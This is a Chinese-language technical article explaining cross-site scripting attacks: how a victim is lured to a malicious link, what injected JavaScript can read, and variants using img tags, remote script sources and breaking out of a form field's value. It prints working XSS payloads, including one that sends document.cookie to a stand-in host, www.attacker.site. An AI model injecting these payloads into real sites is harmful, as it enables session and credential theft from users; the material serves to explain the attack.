技术开发 频道

跨站点脚本攻击深入解析

  范围和可行性

  攻击只会在受害者用于访问站点(www.vulnerable.site)的同一个浏览器中发生。黑客需要强迫客户端访问恶意链接。这会以以下这些方式进行:

  ● 黑客发送包含强迫浏览器访问该链接的HTML页面的电子邮件消息。这要求受害者使用HTML有效的电子邮件客户端,并且客户端的HTML阅读器是用于访问www.vulnerable.site的同一个浏览器。

  ● 客户端访问可能受黑客运作的站点,其中的图片链接或其他激活的HTML强迫浏览器访问该链接。再次声明,必须要求浏览器与访问该站点和www.vulnerable.site的是同一个浏览器。

  恶意的JavaScript可以访问任何下列信息:

 ● 浏览器维护的(www.vulnerable.site的)

  ● 永久cookies浏览器实例维护的(www.vulnerable.site 的)RAMcookies,但只有当最近浏览www.vulnerable.site时发生。

  ● 为www.vulnerable.site打开的其他窗口的名称

  ● 可以通过当前的DOM访问的任何信息(如值、HTML代码,等等)

  身份识别、验证和授权标志通常以cookies形式维护。如果这些cookies是永久的,那么即使不在访问www.vulnerable.site的时候使用浏览器,受害者也是易受攻击的。然而,如果cookies是临时的,例如RAMcookies,那么客户端必须处于访问 www.vulnerable.site的会话中。

  身份识别标志的另一种可能的实现是通过URL参数。在这种情况下,可以用这种方式使用JavaScript访问其他窗口(假设带有必要的URL参数的页面的名称为foobar):

<script>var victim_window=open(",'foobar');alert('Can access:
' +victim_window.location.search)</script>
 


  跨站点脚本攻击的多种情形

  除了<SCRIPT>,使用其他HTML标签来运行JavaScript也是可能的。事实上,同样可能的是,恶意的JavaScript代码存储在另一个服务器上,并强迫客户端下载该脚本并执行它,如果要运行许多代码,或者代码中包含特殊字符时,这是很有用。

  关于这些可能性的一些情形:

  ● 除了 <script>...</script>,黑客可以使用 <img src="javascript:...">。这对于过滤 <script> HTML 标签的站点来说很好用。

  ● 除了 <script>...</script>,还可以使用 <script src="http://...">。这对于 JavaScript 代码过长,或者其中包含了禁止字符时的情况是很好用的。

  有时候,响应页面中内嵌的数据处于非自由的 HTML 环境中。在这种情况下,首先必要的是“逃”到自由的环境中,然后附加 XSS 攻击。举例来说,如果以 HTML 表单字段的默认值注入数据:


...

<input type=text name=user value="...">

...
 


  那么在数据的开头必需包含">,从而逃到自由的HTML环境中。数据可能是:

"><script>window.open("http://www.attacker.site/collect.cgi?cookie=

"+document.cookie)</script>
 


  结果得到的HTML是:

...<input type=text name=user value=""><script>window.open

(http://www.attacker.site/collect.cgi?cookie=+document.cookie)</script>">

...

0
相关文章